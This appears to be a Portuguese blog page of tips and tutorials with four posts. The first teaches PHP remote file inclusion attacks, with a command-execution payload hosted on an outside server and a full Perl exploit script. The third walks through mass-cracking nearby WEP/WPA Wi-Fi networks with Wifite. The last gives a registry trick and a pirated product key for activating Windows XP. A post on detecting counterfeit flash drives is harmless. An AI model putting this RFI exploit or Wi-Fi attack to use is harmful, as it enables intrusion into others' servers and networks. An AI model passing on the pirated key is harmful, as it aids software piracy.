Mostrando postagens com marcador Tutoriais e Dicas. Mostrar todas as postagens
Mostrando postagens com marcador Tutoriais e Dicas. Mostrar todas as postagens
 
 

Descobrir vulnerabilidade de php injection e explora

Como que acontece a inclusão de arquivos remotos (RFI)?
A função include() do PHP é usada para incluir alguma coisa.
Se essa função não for usada com segurança, alguém mal-intencionado
poderá explorar esta falha de segurança. Assim podendo desfigurar seu site ou em alguns casos só invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrários no sistema.
Exemplo de página vulnerável:
include($_GET['page']);
Irá incluir a pagina especificada pelo programador, que será identificada via browser(na url), deixando o site vulnerável, pois qualquer um poderá mudar o nome da pagina via GET.
Ex:   http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif

Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:
system($_GET['cmd']);
http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir
A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:
O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43
29/02/2008 22:43
29/02/2008 22:43 31 vuln.php
Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional)
Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/
Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt
Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.
Exemplos:
—————————————————————————-
system($_GET['cmd']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-
system($_GET['exec']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-
system($_GET['comando']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa
OBS: É obvio que a pagina a ser injetada tem que estar em algum lugar que você colocar, e no servidor de hospedagem que você quiser.
—————————————————————————-
Vamos construir o exploit para explorar
Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.
#!/usr/bin/perl
if(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
} ($site, $page, $script, $comando) = @ARGV;
Os parâmetros necessários são passados como ‘argumentos’.
Se o total de argumentos passados para a execução do script for diferente de ‘4′ então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:
system($_GET['cmd']);
então quando formos iniciar a requisição, colocaremos:
$argv_script = "&cmd=";
portanto, a página que devemos ‘visitar’ será
$pagina = $site.$page.$script.$argv_script.$comando;
Exemplo:
http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir
Com o módulo LWP::Simples, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.
$resposta = get($pagina);
e mostramos a saída do servidor web,
print $resposta;
O corpo do exploit está concluído, o exploit é:
#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = “&cmd=”;
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;
seria o mesmo que
$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];
Melhorias estéticas podem ser feitas, como por exemplo o uso de .
#!/usr/bin/perl
use LWP::Simples; site:
print "Host (Ex.: www.site.com): ";
$site = ;
if($site eq “”){
goto site;
}
if($site =~ /http:\/\//){
print ‘Nao coloque http:// !’.”\n”;
goto site;
}
pagina:
print “Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): “;
$page = ;
if($site eq “”){
goto pagina;
}
script:
print “Script (Ex.: http://www.host-files.com/script.txt): “;
$script = ;
if($script eq “”){
goto script;
}
if($script !~ /http:\/\//){
goto script;
}
print “Variavel para executar comandos (script)\n”;
print ‘Ex.: cmd = system($_GET[\'cmd\']): ‘;
$argv_script = ;
if(!$argv_script){
$argv_script = “cmd”;
}
$argv_script = ‘&’.$argv_script.’=';
comando:
print “Comando: “;
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;
Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade. Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.

Pendrives e cartões 'inflados', e como detectá-los


Um fenômeno cada vez mais comum são os pendrives e cartões de memória "inflados", onde o controlador exibe uma capacidade várias vezes maior que a real. Este acabou se tornando um ramo lucrativo, já que qualquer fabriqueta de fundo de quintal em algum subúrbio da China pode transformar milhares de pendrives ou cartões com 1 GB ou menos em modelos de 16 GB ou mais sem grande esforço, tendo o trabalho apenas de falsificar também as inscrições e a embalagem.
Por terem um valor inicial muito baixo, estes produtos remarcados encontram rapidamente o caminho dos sites de leilão, vendedores ambulantes e até mesmo algumas lojas respeitáveis, transformando-se em uma verdadeira praga.
Este tipo de falsificação é bem mais grave que uma simples remarcação (ou seja, vender outro produto similar, porém de uma marca mais barata como se fosse um pendrive da Kingston ou uma bateria da Nokia, por exemplo) pois o produto resultando realmente lesa o comprador, fazendo com que não apenas ele leve um produto com uma capacidade várias vezes inferior, quanto perca dados.
Este processo de "inflar" a capacidade algumas vezes pode beirar o ridículo, como no caso desta imitação de um HD externo da Samsung:

Por fora ele até engana, mas se tiver a curiosidade de abrí-lo vai ter uma surpresa:

Esta foto foi postada por um colega do leste da Rússia, que mora perto da fronteira com a China. Dentro do "HD" temos duas porcas para simular o peso e um pendrive de 128 MB, cujo controlador foi modificado para funcionar em loop,
reportando uma capacidade de 500 GB para o sistema.
O resultado prático desse hack é que ao plugar o drive no sistema, ele é realmente identificado como um HD USB e o sistema reporta a presença de uma partição de 500 GB, e ao escrever vários arquivos a operação de gravação é realmente executada e o gerenciador de arquivos mostra todos os arquivos copiados, inclusive informando os tamanhos corretamente. Entretanto, ao tentar abrir or arquivos, você perceberá que estão todos vazios, com exceção do último, que conterá os 128 MB finais.
Este é o mesmo hack usado nos pendrives e cartões, cujo firmware é modificado para que o controlador reporte uma capacidade muito maior que a real, resultando nas mesmas consequências. Isso é mais fácil do que parece, pois não é necessário desmontar nem muito menos substituir o controlador: basta um PC e o software apropriado de gravação de firmwares.
Como o controlador acessa a memória Flash a partir do início, a MBR e a tabela de alocação da partição são sempre gravadas logo nos primeiros endereços, dentro da área "válida" de memória. Como estes setores são reservados e nunca são subscritos por dados, o resultado prático é que o dispositivo realmente "funciona" apesar do hack. Ele é detectado normalmente pelo sistema, todos os utilitários reportam a capacidade inflada (16, 32 ou 500 GB de acordo com a criatividade do falsificador), você pode particionar e formatá-lo normalmente e se escrever arquivos pequenos (de tamanho inferior à capacidade real) eles serão realmente gravados e ficarão disponíveis, intactos. Mesmo se você gravar muitos arquivos, completando a capacidade inflada, eles vão realmente parecer estar disponíveis, com o sistema reportando as capacidades corretas e assim por diante.
Como a grande maioria dos compradores se muito realizarão algum teste rápido dentro deste escopo, o golpe é geralmente descoberto só mais tarde, quando o comprador for realmente tentar acessar os arquivos copiados.
Nesse caso o que acontece é que a memória Flash é usada em loop, com o controlador gravando até completar a capacidade do chip, depois voltando a acessar os endereços do início, regravando todos os endereços, voltando novamente ao início e assim por diante. Com isso, você acaba tendo um pendrive de "32 GB" que guarda apenas o gigabyte final de arquivos copiados, correspondendo à capacidade real do chip.
O mais interessante é que o gerenciador de arquivos irá mostrar todos os arquivos copiados e, como comentei, mostrar os tamanhos corretos, já que estas informações são gravadas na tabela de alocação, que fica sempre segura nos primeiros endereços do chip. O grande problema são mesmo os dados copiados, que são irremediavelmente perdidos.
Uma boa forma de testar é usar o H2testw, que permite realizar um teste longo, gravando arquivos até completar a capacidade e em seguida verificando a integridade de cada um.
Ao ser aberto, ele reportará a capacidade reportada pelo controlador (a capacidade inflada), assim como qualquer outro utilitário:

Entretanto, ao usar o teste de escrita e verificação, ele realmente tirará a prova, gravando uma série de arquivos .h2w (note que os dados anteriormente armazenados serão perdidos) com uma sequência previsível de informações e em seguida verificando a integridade de cada um.

O teste é muito útil não apenas para verificar as velocidades efetivas de escrita e gravação, mas também para certificar-se de que o dispositivo não possui endereços defeituosos. Naturalmente, no caso dos inflados ele começará a reportar erros na etapa de verificação (a de gravação correrá normalmente) logo depois que a capacidade real for ultrapassada:

É normal que vendedores do e-bay e outros sites de leilão tenham reputações altas mesmo vendendo este tipo de produto, pois a grande maioria dos compradores qualifica por impulso logo depois de receber a mercadoria e ver que ela é detectada pelo sistema, sem realizar nenhum teste detalhado. É mais um motivo para desconfiar de produtos sendo vendidos muito abaixo do preço, uma vez que o mercado de memória Flash é muito competitivo e tanto os fabricantes quanto os distribuidores possuem pouca margem para oferecer grandes descontos.

Wifite Ataques a redes Wifi em massa wep wpa - BackTrack 4

Todas as redes wi-fi que conhecemos ou acessamos utilizam WPA ou WEP para criptografar o seu acesso, é chover no molhado em afirmar que WPA é n vezes mais seguro que WEP, mas não é 100% seguro.

A ferramenta Wifite foi desenvolvida para automatizar e realizar ataques múltiplos a redes Wi-fi que utilizam uma das criptografias citadas, e na minha opinião é uma das melhores ferramentas já desenvolvidos até então. Ela só roda em mundo Linux e foi inclusa na distribuição de segurança BackTrack 4 RC1
O que mais chamou a atenção foi a capacidade de realizar ataques múltiplos em múltiplas redes que utilizam WEP ou WPA, fantástico.
Vamo lá?
donwload da versão
wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py





Dando permissão
chmod +x wifite.py



Executando programa
python wifite.py

ou vc pode consultar a ajuda dos comandos
./wifite.py -help



Agora a partir daki vai depender do sinal
e a intensidade das redes proximo a vc
algumas redes aki que vou postar n foram quebradas devido a distancia de sinal lembrando que o tutorial é somente para estudos a TSH nao responsabiliza por nada



vc pode utilizar a parte grafica selecionando da maneira que quiser





note que ele esta atacando todas as redes...
vc pode ir pela parte grafica ou pelos comandos que eu acho ate melhor.

ex: para cracker todas as redes wep

./wifite.py -all -nowpa





note as tentativas que deram falhas devido a distancia...
Filtrar tbm para quebrar todos os pontos de acesso WEP com um sinal maior (ou igual) 45dB:
./wifite.py -p 45 -nowpa

pode ser menos ou mais ao seu criterio
aki fiz o teste com mais de oitenta para ver se pegava as redes que deram erro



Para filtrar quebrar por wpa com word list

./wifite.py -all --dict /pentest/passwords/wordlists/darkc0de.lst





embrando caso queria pular a rede
o qual o wifite esta atacando
basta apertar CTRL C na shel
vai perguntar se quer sair do progrmar ou continuar
vc so digita N que continua E sai do programa





observe que eu parei de atacar uma rede e pulei pra outra

Para filtrar o ataque wpa para n utilizar wordlist

/wifite.py -all -nowpa --dict none



Para filtrar e quebrar todos os pontos de acesso WEP em relação ao sinal tempo e quantidade de pacote enviados Ex:

maior que 50dB em força, dar 15 minutos para cada método de ataque WEP, e enviar pacotes de 600 pacotes / seg:
./wifite.py --power 50 -wepw 15 -pps 600



Para tentar invadir uma rede criptografada com wep com ataque indefindamente sem parar ate que a chave seja quebrado ou interrompido pelo usuario
./wifite.py -e "nomedarede" -wepw 0
.Lembrando que alguns ataques pode demorar segundos minutos horas dias e ate meses

Valida Seu Windows XP

Nesse tutorial abaixo irei mostrar de forma eficaz como validar seu Windows XP sem gastar se quer um real, apenas alguns minutos. Peço também aqueles que venham a ter alguma dúvida que deêm uma lida nos comentários desse post, pois possui inúmeras informações importantes.
1. Vá em Iniciar > Executar
2. Digite regedit e clique em OK.
3. Já dentro do regedit, navegue até a chave:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WPAEvents
4. No painel à direita, clique duas vezes em OOBETimer
5. Na janela que foi aberta, apague qualquer valor e clique em OK. Feche o
regedit
6. Vá novamente em Iniciar > Executar e dessa vez digite:
%systemroot%\system32\oobe\msoobe.exe /a
7. Na janela que foi aberta, escolha a opção Sim, desejo telefonar…
8. Na próxima etapa, clique no botão Alterar chave de produto.
9. Na etapa seguinte, digite a CD KEY:
THMPV-77D6F-94376-8HGKG-VRDRQ
e clique no botão Atualizar
10. Após clicar no botão Atualizar, o assistente para ativação voltará para a janela anterior, então, clique em Lembrar mais tarde e reinicie o Windows.
11. Reiniciado o Windows vá novamente em Iniciar > Executar e digite:
%systemroot%\system32\oobe\msoobe.exe /a
Se o seu windows não possuir a pasta msoobe, faça o download [aqui